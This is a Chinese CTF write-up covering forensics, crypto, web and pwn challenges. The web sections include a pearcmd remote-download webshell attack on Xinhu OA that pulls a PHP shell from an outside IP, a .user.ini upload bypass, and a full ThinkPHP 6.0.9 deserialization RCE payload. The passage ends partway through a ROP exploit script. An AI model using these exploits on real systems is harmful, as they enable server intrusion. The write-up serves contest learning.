python2 /home/admin/Downloads/volatility-master/vol.py -f '/home/admin/Downloads/Yusa'\''s secret/Yusa-PC.raw' --profile=Win7SP1x64 mimikatz
运行结果：
Module User Domain Password
-------- ---------------- ---------------- ---------------------------------------- wdigest Yusa YUSA-PC YusaYusa520
wdigest YUSA-PC$ WORKGROUP
得到用户账户密码为`YusaYusa520`。用此密码成功解压出`Who_am_I`文件。
上面还得到了一个`key.zip`，也有加密，可以用`世界没了心跳`密码解压得到`exp`文件。
`exp`文件内容：
from PIL import Image
import struct
pic = Image.open('key.bmp')
fp = open('flag', 'rb')
fs = open('Who_am_I', 'wb')
a, b = pic.size
list1 = []
for y in range(b):
for x in range(a):
pixel = pic.getpixel((x, y))
list1.extend([pixel[1], pixel[0], pixel[2], pixel[2], pixel[1], pixel[0]])
data = fp.read()
for i in range(0, len(data)):
fs.write(struct.pack('B', data[i] ^ list1[i % a*b*6]))
fp.close()
fs.close()
可以看出`Who_am_I`正是用此脚本生成的。要解密`flag`文件就需要找到`key.bmp`。
在文件列表里的`Sakura-didi`文件就包含了需要的`key.bmp`。用密码`820ac92b9f58142bbbc27ca295f1cf48`可以成功解压。
得到后根据生成脚本编写解密脚本：
from PIL import Image
import struct
pic = Image.open('key.bmp')
f = open('Who_am_I', 'rb').read()
o = open('flag','wb')
a, b = pic.size
list1 = []
for y in range(b):
for x in range(a):
pixel = pic.getpixel((x, y))
list1.extend([pixel[1], pixel[0], pixel[2], pixel[2], pixel[1], pixel[0]])
for i in range(0, len(f)):
o.write(struct.pack('B', f[i] ^ list1[i % a*b*6]))
o.close()
最后得到的`flag`文件是GIF文件。
用`StegSolve`打开后，经过仔细观察，在第10帧找到了勉强能看清的flag：
DASCTF{c38376c61-77f1-413e-b2e6-3ccbc96df9f4}
附：
* egg1
文件列表内：
0x000000003e20d900 1 0 R--r-- \Device\HarddiskVolume2\Users\Yusa\Desktop\新建文本文档.txt
egg1 yusa姐姐很担心比赛时平台卡得崩溃，为此彻夜难眠
* egg2
文件列表内：
0x000000003f82fdc0 1 0 R--r-- \Device\HarddiskVolume2\Program Files\Reference Assemblies\Microsoft\Framework\egg2
egg2 yusa姐姐是尊贵的SVIP8，不会有人不知道叭
* egg3
在Yusa的联系方式里可看到。
egg3 You still have lots more to work on...
* egg4
cmd历史记录（consoles）：
egg4 eXVzYeWnkOWnkOacieWlveWkmuWlveWkmueahOWwj+Woh+Wmu++8jOa4o+eUtw==
yusa姐姐有好多好多的小娇妻，渣男
* egg5
文件列表内：
0x000000003f2ae290 1 0 R--r-- \Device\HarddiskVolume2\Users\Yusa\Desktop\Sakura文件\Sakura-egg5
提取出`egg5.zip`需要密码：
0x000000003e5279a0 1 0 R--r-- \Device\HarddiskVolume2\Users\Public\Documents\th1s_1s_3gg5_k3y
文件内容也是`th1s_1s_3gg5_k3y`，用密码解压egg5:
yusa姐姐希望西湖论剑的flag格式为yusameinv{.*?}，但我就不^_^
## Crypto
### 密码人集合
> 数独游戏，将`1-9`分别对应`我要拿西湖论剑第一`，利用在线网站解密后按照题目答案要求的格式拼接起来提交即可拿到本题的`Flag`
### hardrsa
> `[羊城杯 2020]Power`改编的吧，这里照着这道题的`exp`打就能获取本题的`Flag`
> 先要解决已知明文反求加密指数，采用离散对数来求解，也就是用`sympy`库中的`discrete_log()`来求
import sympy
c1 = 78100131461872285613426244322737502147219485108799130975202429638042859488136933783498210914335741940761656137516033926418975363734194661031678516857040723532055448695928820624094400481464950181126638456234669814982411270985650209245687765595483738876975572521276963149542659187680075917322308512163904423297381635532771690434016589132876171283596320435623376283425228536157726781524870348614983116408815088257609788517986810622505961538812889953185684256469540369809863103948326444090715161351198229163190130903661874631020304481842715086104243998808382859633753938512915886223513449238733721777977175430329717970940440862059204518224126792822912141479260791232312544748301412636222498841676742208390622353022668320809201312724936862167350709823581870722831329406359010293121019764160016316259432749291142448874259446854582307626758650151607770478334719317941727680935243820313144829826081955539778570565232935463201135110049861204432285060029237229518297291679114165265808862862827211193711159152992427133176177796045981572758903474465179346029811563765283254777813433339892058322013228964103304946743888213068397672540863260883314665492088793554775674610994639537263588276076992907735153702002001005383321442974097626786699895993544581572457476437853778794888945238622869401634353220344790419326516836146140706852577748364903349138246106379954647002557091131475669295997196484548199507335421499556985949139162639560622973283109342746186994609598854386966520638338999059
y = 449703347709287328982446812318870158230369688625894307953604074502413258045265502496365998383562119915565080518077360839705004058211784369656486678307007348691991136610142919372779782779111507129101110674559235388392082113417306002050124215904803026894400155194275424834577942500150410440057660679460918645357376095613079720172148302097893734034788458122333816759162605888879531594217661921547293164281934920669935417080156833072528358511807757748554348615957977663784762124746554638152693469580761002437793837094101338408017407251986116589240523625340964025531357446706263871843489143068620501020284421781243879675292060268876353250854369189182926055204229002568224846436918153245720514450234433170717311083868591477186061896282790880850797471658321324127334704438430354844770131980049668516350774939625369909869906362174015628078258039638111064842324979997867746404806457329528690722757322373158670827203350590809390932986616805533168714686834174965211242863201076482127152571774960580915318022303418111346406295217571564155573765371519749325922145875128395909112254242027512400564855444101325427710643212690768272048881411988830011985059218048684311349415764441760364762942692722834850287985399559042457470942580456516395188637916303814055777357738894264037988945951468416861647204658893837753361851667573185920779272635885127149348845064478121843462789367112698673780005436144393573832498203659056909233757206537514290993810628872250841862059672570704733990716282248839
x = sympy.discrete_log(y,c1,2)
print(x)
> 得到`x`后，利用`sage`解方程就可以得到`p`
y = 449703347709287328982446812318870158230369688625894307953604074502413258045265502496365998383562119915565080518077360839705004058211784369656486678307007348691991136610142919372779782779111507129101110674559235388392082113417306002050124215904803026894400155194275424834577942500150410440057660679460918645357376095613079720172148302097893734034788458122333816759162605888879531594217661921547293164281934920669935417080156833072528358511807757748554348615957977663784762124746554638152693469580761002437793837094101338408017407251986116589240523625340964025531357446706263871843489143068620501020284421781243879675292060268876353250854369189182926055204229002568224846436918153245720514450234433170717311083868591477186061896282790880850797471658321324127334704438430354844770131980049668516350774939625369909869906362174015628078258039638111064842324979997867746404806457329528690722757322373158670827203350590809390932986616805533168714686834174965211242863201076482127152571774960580915318022303418111346406295217571564155573765371519749325922145875128395909112254242027512400564855444101325427710643212690768272048881411988830011985059218048684311349415764441760364762942692722834850287985399559042457470942580456516395188637916303814055777357738894264037988945951468416861647204658893837753361851667573185920779272635885127149348845064478121843462789367112698673780005436144393573832498203659056909233757206537514290993810628872250841862059672570704733990716282248839
x = 43776275628859890575232443794319298551934804213472744927022818696759188901977390266973172755658396197421139420206549889337117978597883154859965236605452518446448639813055134133587564045471804447818058571586426895800984805588363855865218690877547419152765512143095217413477343835473963637692441032136163289964756172316289469159500312630529091350636808491697553069388388303341623047737553556123142002737059936569931163197364571478509576816349348146215101250803826590694039096063858424405382950769415272111843039715632655831594224288099608827345377164375927559338153505991404973888594356664393487249819589915881178770048740
R.<n> = Zmod(y)[]
f = 2019*n**2 + 2020*n**3 + 2021*n**4 - x
f.roots()
> 之后利用参数关系代换就能拿到本题的`Flag`
证明过程：
c = m ** e mod n
dp = d mod (p-1)
c**dp = m**(e*dp) mod n
c**dp mod p = m**(e*dp) mod p
e*dp = e*d mod (p-1) = 1 mod (p-1)
c**dp mod p = m**(1+k*(p-1)) mod p
解题代码：
p = 12131601165788024635030034921084070470053842112984866821070395281728468805072716002494427632757418621194662541766157553264889658892783635499016425528807741
c = 57248258945927387673579467348106118747034381190703777861409527336272914559699490353325906672956273559867941402281438670652710909532261303394045079629146156340801932254839021574139943933451924062888426726353230757284582863993227592703323133265180414382062132580526658205716218046366247653881764658891315592607194355733209493239611216193118424602510964102026998674323685134796018596817393268106583737153516632969041693280725297929277751136040546830230533898514659714717213371619853137272515967067008805521051613107141555788516894223654851277785393355178114230929014037436770678131148140398384394716456450269539065009396311996040422853740049508500540281488171285233445744799680022307180452210793913614131646875949698079917313572873073033804639877699884489290120302696697425
dp = 379476973158146550831004952747643994439940435656483772269013081580532539640189020020958796514224150837680366977747272291881285391919167077726836326564473
sage: print(long_to_bytes(pow(c,dp,p)))
b'DASCTF{98d923h4344e3bf72f8775xy65tvftv5}'
### unknown_dsa
> `Pell`方程和`DSA`结合的题目，先求解一下`Pell`方程来获取`ul`和`vl`
def Pell(N, tryNumber = 100):
m = continued_fraction(sqrt(N))
for i in range(tryNumber):
denom = m.denominator(i)
num = m.numerator(i)
if num ^ 2 - N * denom ^ 2 == 1:
return num, denom
return None, None
Pell(4013184893)
> 接着进一步来获取`m1 m2`
import gmpy2
import libnum
import hashlib
from functools import reduce
def CRT(eq):
return reduce(uni, eq)
def exgcd(a, b):
if b == 0: return 1, 0
x, y = exgcd(b, a % b)
return y, x - a // b * y
def uni(P, Q):
r1, m1 = P
r2, m2 = Q
d = gmpy2.gcd(m1, m2)
assert (r2 - r1) % d == 0
l1, l2 = exgcd(m1 // d, m2 // d)
return (r1 + (r2 - r1) // d * l1 * m1) % gmpy2.lcm(m1, m2), gmpy2.lcm(m1, m2)
if __name__ == "__main__":
ms1 = [10537190383977432819948602717449313819513015810464463348450662860435011008001132238851729268032889296600248226221086420035262540732157097949791756421026015741477785995033447663038515248071740991264311479066137102975721041822067496462240009190564238288281272874966280, 121723653124334943327337351369224143389428692536182586690052931548156177466437320964701609590004825981378294358781446032392886186351422728173975231719924841105480990927174913175897972732532233, 1440176324831562539183617425199117363244429114385437232965257039323873256269894716229817484088631407074328498896710966713912857642565350306252498754145253802734893404773499918668829576304890397994277568525506501428687843547083479356423917301477033624346211335450]
cs1 = [2852589223779928796266540600421678790889067284911682578924216186052590393595645322161563386615512475256726384365091711034449682791268994623758937752874750918200961888997082477100811025721898720783666868623498246219677221106227660895519058631965055790709130207760704, 21115849906180139656310664607458425637670520081983248258984166026222898753505008904136688820075720411004158264138659762101873588583686473388951744733936769732617279649797085152057880233721961, 301899179092185964785847705166950181255677272294377823045011205035318463496682788289651177635341894308537787449148199583490117059526971759804426977947952721266880757177055335088777693134693713345640206540670123872210178680306100865355059146219281124303460105424]
ms2 = [168450500310972930707208583777353845862723614274337696968629340838437927919365973736431467737825931894403582133125917579196621697175572833671789075169621831768398654909584273636143519940165648838850012943578686057625415421266321405275952938776845012046586285747, 1921455776649552079281304558665818887261070948261008212148121820969448652705855804423423681848341600084863078530401518931263150887409200101780191600802601105030806253998955929263882382004, 25220695816897075916217095856631009012504127590059436393692101250418226097323331193222730091563032067314889286051745468263446649323295355350101318199942950223572194027189199046045156046295274639977052585768365501640340023356756783359924935106074017605019787]
cs2 = [148052450029409767056623510365366602228778431569288407577131980435074529632715014971133452626021226944632282479312378667353792117133452069972334169386837227285924011187035671874758901028719505163887789382835770664218045743465222788859258272826217869877607314144, 1643631850318055151946938381389671039738824953272816402371095118047179758846703070931850238668262625444826564833452294807110544441537830199752050040697440948146092723713661125309994275256, 10949587016016795940445976198460149258144635366996455598605244743540728764635947061037779912661207322820180541114179612916018317600403816027703391110922112311910900034442340387304006761589708943814396303183085858356961537279163175384848010568152485779372842]
m1, mod1 = CRT(zip(cs1,ms1))
print(m1, mod1)
print(gmpy2.iroot(m1,7))
print(libnum.n2s(int(8382905590662478666595114136929713707132131361720892331048437274828529226704174)))
m2, mod2 = CRT(zip(cs2, ms2))
print(m2, mod2)
print(gmpy2.iroot(m2, 7))
print(libnum.n2s(int(10336852405630488944198347577475266693234960398137850045398990629116544863921454)))
> 利用`p * q`与`(p - 1) / q`来获取`p、q`
>
> 利用如下公式进行做差求解来获取`k`的值后便可直接求得左半部分和右半部分`Flag`的值
>
> \s1 \equiv (hm1+x1 _r1)_ k^{-1}(mod \ q)
> \s2 \equiv (hm2+x1 _r1)_ k^{-1}(mod \ q)
>
import gmpy2
import libnum
q = 895513916279543445314258868563331268261201605181
p = 95139353880772104939870618145448234251031105153406565833029787299040378395002190438381537974853777890692924407167823818980082672873538133127131356810153012924025270883966172420658777903337576027105954119811495411149092960422055445121097259802686960288258399754185484307350305454788837702363971523085335074839
t = 60132176395922896902518845244051065417143507550519860211077965501783315971109433544482411208238485135554065241864956361676878220342500208011089383751225437417049893725546176799417188875972677293680033005399883113531193705353404892141811493415079755456185858889801456386910892239869732805273879281094613329645326287205736614546311143635580051444446576104548
n = p * q
tp = p * q - (p + q)
r1 = 498841194617327650445431051685964174399227739376
r2 = 620827881415493136309071302986914844220776856282
s1 = 376599166921876118994132185660203151983500670896
s2 = 187705159843973102963593151204361139335048329243
s3 = 674735360250004315267988424435741132047607535029
hm1 = 63998600246749767922010292163233985055258508821
hm2 = 1121013631791355094793010532678158450130791457285
differenceOfS = s1 - s2
differenceOfM = hm1 - hm2
k = gmpy2.mul(differenceOfM, gmpy2.invert(differenceOfS, q)) % q
x1 = (s1 * k -hm1) * gmpy2.invert(r1, q) % q
x2 = (s3 * k - hm1) * gmpy2.invert(r2, q) % q
flag = ''
flag = libnum.n2s(int(x1)) + libnum.n2s(int(x2))
print(flag)
DASCTF{f11bad18f529750fe52c56eed85d001b}
## Web
### OA?RCE?
访问是个信呼OA，直接弱口令跑一波发现后台密码 `admin` `admin123`,登陆后台。
试了下网上的几个洞发现都打不通，审计源码。
在indexAction.php发现有查看phpinfo函数。
public function phpinfoAction()
{
$this->display = false;
phpinfo();
}
通过`?m=index&a=phpinfo`调用该函数，查看phpinfo。
这里发现`register_argc_argv`开启，想到之前某次比赛打pearcmd下载文件getshell。参考博客[ctfshow 萌新22
（类似级客巅峰web4） – 灰信网（软件开发博客聚合）
(freesion.com)](https://www.freesion.com/article/58841365372/)
题目开启了register_argc_argv可以通过+来分隔命令，先进行包含pearcmd.php然后在通过+分隔符来执行download命令。现在还差一个文件包含点来满足博客中`include`。
继续审计代码发现`contain()`可以用来进行包含。
public function getshtmlAction()
{
$surl = $this->jm->base64decode($this->get('surl'));
$num = $this->get('num');
$menuname = $this->jm->base64decode($this->get('menuname'));
if(isempt($surl))exit('not found');
$file = ''.P.'/'.$surl.'.php';
if(!file_exists($file))$file = ''.P.'/'.$surl.'.shtml';
if(!file_exists($file))exit('404 not found '.$surl.'');
if(contain($surl,'home/index/rock_index'))$this->showhomeitems();//首页的显示
$this->displayfile = $file;
//记录打开菜单日志
if($num!='home' && getconfig('useropt')=='1')
m('log')->addlog('打开菜单', '菜单['.$num.'.'.$menuname.']');
}
条件满足，且构造payload文件末尾已附加`php`，且`surl`进行base64编码
写个shell`1.php`在服务器上
<?php system('/readflag');?>
发包
?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA==&+install+-R+/tmp+http://185.194.148.106:8000/1.php
成功下载
之后再访问shell的路径
?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3RtcC9wZWFyL2Rvd25sb2FkLzE=
getshell
### EZupload
访问，注释发现源代码
得到源码
<?php
error_reporting(0);
require 'vendor/autoload.php';
$latte = new Latte\Engine;
$latte->setTempDirectory('tempdir');
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowMacros(['block', 'if', 'else','=']);
$policy->allowFilters($policy::ALL);
$policy->allowFunctions(['trim', 'strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(false);
if(isset($_FILES['file'])){
$uploaddir = '/var/www/html/tempdir/';
$filename = basename($_FILES['file']['name']);
if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){
die('no');
}
$file_conents = file_get_contents($_FILES['file']['tmp_name']);
if(strlen($file_conents)>28 or stristr($file_conents,'<')){
die('no');
}
$uploadfile = $uploaddir . $filename;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
$message = $filename ." was successfully uploaded.";
} else {
$message = "error!";
}
$params = [
'message' => $message,
];
$latte->render('tempdir/index.latte', $params);
}
else if($_GET['source']==1){
highlight_file(__FILE__);
}
else{
$latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']);
}
上传对文件名，文件内容有严格过滤，文件名过滤`p`,`h`,还过滤`..`防了文件名php，目录穿越。文件内容直接过滤`<`把标签过滤了。考虑了文件名解析漏洞也无果。开始想利用.htaccess来包含文件，尝试了发现无果，之后尝试.user.ini。
.user.ini内容如下:
auto_prepend_file = /flag
先写个html来上传.user.ini
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="http://2e878d38-86e3-4b65-9b17-928e7ded6d0a.ezupload-ctf.dasctf.com:2333/" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="submit"></p>
</form>
</body>
</html>
题目使用latte进行渲染，没有php文件给我们触发`.user.ini`的包含，之后在latte官网[Latte – The Safest & Truly
Intuitive Templates for PHP
(nette.org)](https://latte.nette.org/)看手册，没有找到可以利用的地方，下载源代码，进行审计。
在这里找到一个带php后缀的生成点，前后都看下，大概意思是模板渲染.latte后还会再生成一个php文件。文件名命名规则是`index.latte--xxxxxxxxxx.php`q其中xxxxxxxxxx跟latte的版本，渲染的文件的名称有关，直接分析算法有些麻烦，尝试本地搭建环境来获取这个文件名。
public function getCacheFile(string $name): string
{
$hash = substr($this->getTemplateClass($name), 8);
$base = preg_match('#([/\\\\][\[email protected]]{3,35}){1,3}$#D', $name, $m)
? preg_replace('#[^\[email protected]]+#', '-', substr($m[0], 1)) . '--'
: '';
return "$this->tempDirectory/$base$hash.php";
}
public function getTemplateClass(string $name): string
{
$key = serialize([$this->getLoader()->getUniqueId($name), self::VERSION, array_keys((array) $this->functions), $this->sandboxed]);
return 'Template' . substr(md5($key), 0, 10);
}
var_dump下`$key`的值
a:4:{i:0;s:19:"tempdir/index.latte";i:1;s:6:"2.10.4";i:2;a:7:{i:0;s:5:"clamp";i:1;s:11:"divisibleBy";i:2;s:4:"even";i:3;s:5:"first";i:4;s:4:"last";i:5;s:3:"odd";i:6;s:5:"slice";}i:3;b:1;}
发现规律：
a:4:{i:0;s:19:"tempdir/index.latte";i:1;s:6:"版本号";i:2;a:7:{i:0;s:5:"clamp";i:1;s:11:"divisibleBy";i:2;s:4:"even";i:3;s:5:"first";i:4;s:4:"last";i:5;s:3:"odd";i:6;s:5:"slice";}i:3;b:1;}
[github.com](https://github.com/nette/latte/releases)在github项目查看所有版本
把每个版本号放入之后md5下，取前10位作为文件命中xxxxxxxxxx的值。
手动拿网站跑一下
在尝试到2.10.4时成功
之后访问`index.latte--6f26bb0dba.php`得flag
### 灏妹的web
访问啥也没有直接上扫描器，调下速度不能太快
这几个有东西的都访问看下，`.idea/dataSources.xml`发现flag
### EasyTp
首先看下`public`提示缺少file参数，用php伪协议读出源码
?file=php://filter/read=convert.base64-encode/resource=../app/controller/Index.php
PD9waHAKCm5hbWVzcGFjZSBhcHBcY29udHJvbGxlcjsKCnVzZSBhcHBcQmFzZUNvbnRyb2xsZXI7CgpjbGFzcyBJbmRleCBleHRlbmRzIEJhc2VDb250cm9sbGVyCnsKICAgIHB1YmxpYyBmdW5jdGlvbiBpbmRleCgpCiAgICB7CiAgICAgICAgLy9yZXR1cm4gJzxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+KnsgcGFkZGluZzogMDsgbWFyZ2luOiAwOyB9IGRpdnsgcGFkZGluZzogNHB4IDQ4cHg7fSBhe2NvbG9yOiMyRTVDRDU7Y3Vyc29yOiBwb2ludGVyO3RleHQtZGVjb3JhdGlvbjogbm9uZX0gYTpob3Zlcnt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lOyB9IGJvZHl7IGJhY2tncm91bmQ6ICNmZmY7IGZvbnQtZmFtaWx5OiAiQ2VudHVyeSBHb3RoaWMiLCJNaWNyb3NvZnQgeWFoZWkiOyBjb2xvcjogIzMzMztmb250LXNpemU6MThweDt9IGgxeyBmb250LXNpemU6IDEwMHB4OyBmb250LXdlaWdodDogbm9ybWFsOyBtYXJnaW4tYm90dG9tOiAxMnB4OyB9IHB7IGxpbmUtaGVpZ2h0OiAxLjZlbTsgZm9udC1zaXplOiA0MnB4IH08L3N0eWxlPjxkaXYgc3R5bGU9InBhZGRpbmc6IDI0cHggNDhweDsiPiA8aDE+OikgPC9oMT48cD4gVGhpbmtQSFAgVjY8YnIvPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MzBweCI+MTPovb3liJ3lv4PkuI3mlLkgLSDkvaDlgLzlvpfkv6HotZbnmoRQSFDmoYbmnrY8L3NwYW4+PC9wPjwvZGl2PjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vdGFqcy5xcS5jb20vc3RhdHM/c0lkPTY0ODkwMjY4IiBjaGFyc2V0PSJVVEYtOCI+PC9zY3JpcHQ+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9lLnRvcHRoaW5rLmNvbS9QdWJsaWMvc3RhdGljL2NsaWVudC5qcyI+PC9zY3JpcHQ+PHRoaW5rIGlkPSJlYWI0YjlmODQwNzUzZjhlNyI+PC90aGluaz4nOwogICAgICAgIGlmIChpc3NldCgkX0dFVFsnZmlsZSddKSkgewogICAgICAgICAgICAkZmlsZSA9ICRfR0VUWydmaWxlJ107CiAgICAgICAgICAgICRmaWxlID0gdHJpbSgkZmlsZSk7CiAgICAgICAgICAgICRmaWxlID0gcHJlZ19yZXBsYWNlKCcvXHMrLycsJycsJGZpbGUpOwogICAgICAgICAgICBpZihwcmVnX21hdGNoKCIvZmxhZy9pIiwkZmlsZSkpeyBkaWUoJzxoMj4gbm8gZmxhZy4uJyk7fQogICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpewogICAgICAgICAgICAgICAgZWNobyAiZmlsZV9leGlzdHMoKSByZXR1cm4gdHJ1ZS4uPC9icj4iOwogICAgICAgICAgICAgICAgZGllKCAiaGFja2VyISEhIik7CiAgICAgICAgICAgIH1lbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gImZpbGVfZXhpc3RzKCkgcmV0dXJuIGZhbHNlLi4iOwogICAgICAgICAgICAgICAgQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsKICAgICAgICAgICAgfQoKICAgICAgICB9IGVsc2UgewoKICAgICAgICAgICAgZWNobyAiRXJyb3IhIG5vIGZpbGUgcGFyYW1ldGVyIDxici8+IjsKICAgICAgICAgICAgZWNobyAiaGlnaGxpZ2h0X2ZpbGUgRXJyb3IiOwogICAgICAgIH0KCiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHVuc2VyKCl7CiAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3Z1bHZ1bCddKSl7CiAgICAgICAgICAgICRzZXIgPSAkX0dFVFsndnVsdnVsJ107CiAgICAgICAgICAgICR2dWwgPSBwYXJzZV91cmwoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOwogICAgICAgICAgICBwYXJzZV9zdHIoJHZ1bFsncXVlcnknXSwkcXVlcnkpOwoKICAgICAgICAgICAgZm9yZWFjaCgkcXVlcnkgYXMgJHZhbHVlKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZihwcmVnX21hdGNoKCIvTy9pIiwkdmFsdWUpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGRpZSgnPC9icj4gPGgxPkhhY2tpbmc/Jyk7CiAgICAgICAgICAgICAgICAgICAgZXhpdCgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHVuc2VyaWFsaXplKCRzZXIpOwogICAgICAgIH0KCiAgICB9Cn0K
base64解码下
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
//return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
if (isset($_GET['file'])) {
$file = $_GET['file'];
$file = trim($file);
$file = preg_replace('/\s+/','',$file);
if(preg_match("/flag/i",$file)){ die('<h2> no flag..');}
if(file_exists($file)){
echo "file_exists() return true..</br>";
die( "hacker!!!");
}else {
echo "file_exists() return false..";
@highlight_file($file);
}
} else {
echo "Error! no file parameter <br/>";
echo "highlight_file Error";
}
}
public function unser(){
if(isset($_GET['vulvul'])){
$ser = $_GET['vulvul'];
$vul = parse_url($_SERVER['REQUEST_URI']);
parse_str($vul['query'],$query);
foreach($query as $value)
{
if(preg_match("/O/i",$value))
{
die('</br> <h1>Hacking?');
exit();
}
}
unserialize($ser);
}
}
}
审下代码有反序列化点，tp版本之前报错页面得到是6.0.9
找链子触发，题目有个过滤`O`,参考博客<https://www.cnblogs.com/tr1ple/p/11137159.html>。利用`///`绕过。
链子用的是这条：
exp
<?php
namespace think {
use think\route\Url;
abstract class Model
{
private $lazySave;
private $exists;
protected $withEvent;
protected $table;
private $data;
private $force;
public function __construct()
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->table = new Url();
$this->force = true;
$this->data = ["1"];
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
function __construct()
{
parent::__construct();
}
}
$b = new Pivot();
echo urlencode(serialize($b));
}
namespace think\route {
use think\Middleware;
use think\Validate;
class Url
{
protected $url;
protected $domain;
protected $app;
protected $route;
public function __construct()
{
$this->url = 'a:';
$this->domain = "<?php system('cat /flag');?>";
$this->app = new Middleware();
$this->route = new Validate();
}
}
}
namespace think {
use think\view\driver\Php;
class Validate
{
public function __construct()
{
$this->type['getDomainBind'] = [new Php(), 'display'];
}
}
class Middleware
{
public function __construct()
{
$this->request = "2333";
}
}
}
namespace think\view\driver {
class Php
{
public function __construct()
{
}
}
}
payload：
///public/index.php/Index/unser?vulvul=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A15%3A%22think%5Croute%5CUrl%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A2%3A%22a%3A%22%3Bs%3A9%3A%22%00%2A%00domain%22%3Bs%3A38%3A%22%3C%3Fphp+system%28%22cat+%2Fflag%22%29%3B+exit%28%29%3B%0D%0A%3F%3E%22%3Bs%3A6%3A%22%00%2A%00app%22%3BO%3A16%3A%22think%5CMiddleware%22%3A1%3A%7Bs%3A7%3A%22request%22%3Bi%3A2333%3B%7Ds%3A8%3A%22%00%2A%00route%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A13%3A%22getDomainBind%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22think%5Cview%5Cdriver%5CPhp%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7D%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A7%3B%7D%7D
得到flag
## pwn
### blind
基本检查
socphob@giao:/mnt/c/Users/admin/Desktop/xhlj$ checksec ./blind
[*] '/mnt/c/Users/admin/Desktop/xhlj/blind'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
socphob@giao:/mnt/c/Users/admin/Desktop/xhlj$
main
ssize_t __fastcall main(int a1, char **a2, char **a3)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(8u);
sleep(3u);
return read(0, buf, 0x500uLL);
}
题目非常简短，main函数里面仅仅调用了`alarm`，`sleep`和`read`，就是普通的栈溢出，但是没有输出函数，看起来是没法泄露leak
libc的。那这里怎么办？函数在首次执行时，会把真实地址写到got表的表项中，它是一个libc的地址，低一个半字节是固定的，这里可以通过ROP爆破修改got表项的低字节来使他指向它附近的地址，在libc2.27-2.23中`alarm
+ 5`的位置有`syscall`，在`2.31`中在`alarm +
9`，可以爆破修改`[[email protected]](mailto:[email protected])` 为`0x5, 0x15 ... 0xf5` 或者
`0x9,0x19...0xf9` 来改为`syscall`,然后ROP通过系统调用执行`/bin/sh`。
> Don’t try to guess the libc version or Brute-force attack.Believe me, there
> will be no results,but there is a general way to solve it.
然后这里就不得不吐槽题目附件中的`readme.txt`，属实把我坑到了。让不要去猜libc版本和暴力攻击，再加上我上午爆破了一次（包括0xd5），没有打通。我就开始怀疑是不是我的做法有问题，libc魔改了？然后就到网上一直搜只有`read`，无法leak怎么做，一直尝试各种方法，general
way我以为有什么妙招我不知道。最后绕了半天，又回到了最开始，(0xd5打通了)
got表
实现`syscall`调用`execve('/bin/sh\x00',0,0)`。
ROP的思路是先调用三次read，1.将`[[email protected]](mailto:[email protected])`的低字节改为0x?5，2.把`/bin/sh/\x00`写到bss段，3.控制`rax`为0x3b。
然后`ret2csu`执行。
`ret2csu`，通过`r13`控制`rdi`，通过`r12`和`rbx`调用`alarm`。
EXP：
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = remote('82.157.6.165', 31400)
# p = process('./blind')
elf = ELF('./blind')
bss = 0x601040
